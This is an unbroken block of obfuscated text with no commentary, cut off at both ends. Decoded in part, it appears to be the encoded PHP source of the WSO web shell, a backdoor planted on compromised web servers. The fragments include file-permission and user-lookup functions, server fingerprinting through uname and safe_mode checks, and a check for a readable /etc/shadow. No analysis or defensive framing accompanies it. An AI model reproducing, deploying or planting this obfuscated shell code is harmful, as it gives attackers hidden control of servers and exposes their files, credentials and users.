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jbtVPNtVPNtVPNtVPOcMvtuWRqZG0WOGSAoW3AuMzIsoJ9xMFqqXFO7PvNtVPNtVPNtVPNtVPNtVPNxqKAypzM1oPN9VTSlpzS5XPqaL2ZaYPqfL2ZaYPqwLlpfW2kxWljaoJSeMFpfW3ObpPpfW3OypzjaYPqjrKEbo24aYPqlqJW5WljaqTSlWljaM3ccpPpfW2W6nKNaYPqvrzyjZvpfW25wWljaoT9wLKEyWljap3IcMUOypzjaXGfXVPNtVPNtVPNtVPNtVPNtVPExLJ5aMKVtCFOupaWurFtan2S2Wljaoz9xZmVaYPqvMTAipzIxWljaqKMmL2ShWljap2S2WljaMUW3MJWxWljaL2kuoJDaYPqln2u1oaEypvpfW2Abn3Wio3EenKDaYPqcpUEuLzkyplpfW2yjMapaYPq0pzyjq2ylMFpfW3AbnJIfMTAwWljapT9lqUAyoaElrFpfW3Aho3W0Wljao3AmMJZaYPqfnJEmLJEgWljaqTAjoT9xMlpfW3A4nJDaYPqfo2qwnTIwnlpfW2kiM3quqTAbWljap3ymoJSmnlpfW3cgLaAwLKNaYPqmLKqgnJkfWljaq29loKAwLJ4aYPqhnJ5dLFpcBjbtVPNtVPNtVPNtVPNtVPNtWTEiq25fo2SxMKWmVQ0tLKWlLKxbW3qaMKDaYPqzMKEwnPpfW2k5oataYPqfnJ5eplpfW2A1pzjaYPqaMKDaYPqfq3NgoJylpz9lWlx7PvNtVPNtVPNtVPNtVPNtVPOyL2uiVPp8LaV+WmfXVPNtVPNtVPNtVPNtVPNtVPE0MJ1jCJSlpzS5XPx7PvNtVPNtVPNtVPNtVPNtVPOzo3WyLJAbVPtxqKAypzM1oPOuplNxnKEyoFxXVPNtVPNtVPNtVPNtVPNtVPNtVPOcMvu3p29KnTywnPtxnKEyoFxcPvNtVPNtVPNtVPNtVPNtVPNtVPNtVPNtVPE0MJ1jJ10tCFNxnKEyoGfXVPNtVPNtVPNtVPNtVPNtVUqmo1AyL1OupzSgXPq